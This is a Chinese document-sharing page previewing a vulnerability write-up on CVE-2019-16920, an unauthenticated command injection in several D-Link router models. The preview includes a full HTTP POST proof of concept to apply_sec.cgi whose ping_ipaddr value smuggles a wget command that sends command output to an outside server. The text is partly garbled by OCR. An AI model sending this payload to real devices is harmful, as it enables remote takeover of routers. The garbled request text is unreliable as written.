（CVE-2019-16920）D-Link rce.docx
-
资源ID：493965
资源大小：6.81KB
- 资源格式： DOCX
下载积分：5金币
|
友情提示
2、PDF文件下载后，可能会被浏览器默认打开，此种情况可以点击浏览器菜单，保存网页到桌面，就可以正常下载了。
3、本站不支持迅雷下载，请使用电脑自带的IE浏览器，或者360浏览器、谷歌浏览器下载即可。
4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩，下载后原文更清晰。
5、试题试卷类文档，如果标题没有明确说明有答案则都视为没有答案，请知晓。
|
（CVE-2019-16920）D-Link rce.docx
(CVE-2019-16920) D-Link rce一、漏洞简介D-Link设备中出现未经身份验证的命令注入漏洞(FG-VD-19-117CVE2019 16920),该漏洞可造成远程代码执行。二、漏洞影响DIR-655 , DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, DIR-825 等三、复现过程poc攻击者可以利用该漏洞将任意字符串发送到“PingTest”网关接口来实现命 令注入。POST /apply_sec.cgi HTTP/1.1Host： 192.168.232.128User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Geck o20100101 Firefox/69.0Accept: texthtml,applicationxhtml+xmljapplicationxmljq=0.9,*jq=0.8 Accept-Language: vi-VN,vijq=0.8,en-US;q=0.5,enjq=0.3Accept-Encoding: gzip, deflateContent-Type: application/X-WWW-form-urIencodedContent-Length: 131Connection: closeReferer: http:/192.168.232.128/login_pic. aspCookie: uid=1234123Upgrade-Insecure-Requests: 1html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1% 0awg±t%20-P%25tmp%20ht3p:/45.76.148.31:4321/?$(echo1234)“该漏洞始于一次错误的身份验证过程。当我们要进入管理页面时，需要执行登录 操作。此时，我们会对apply_sec.cgi页面发出POST请求，其中包含一个操作 ping_testo研究后发现，我们可通过参数Ping_ipaddr执行命令注入。虽然响应 是返向登录页面，但操作PingleSt仍然执行了，我们通过参数ping_ipaddr注 入的命令echo 1234成功执行，并将结果发送回我们的服务器。”image
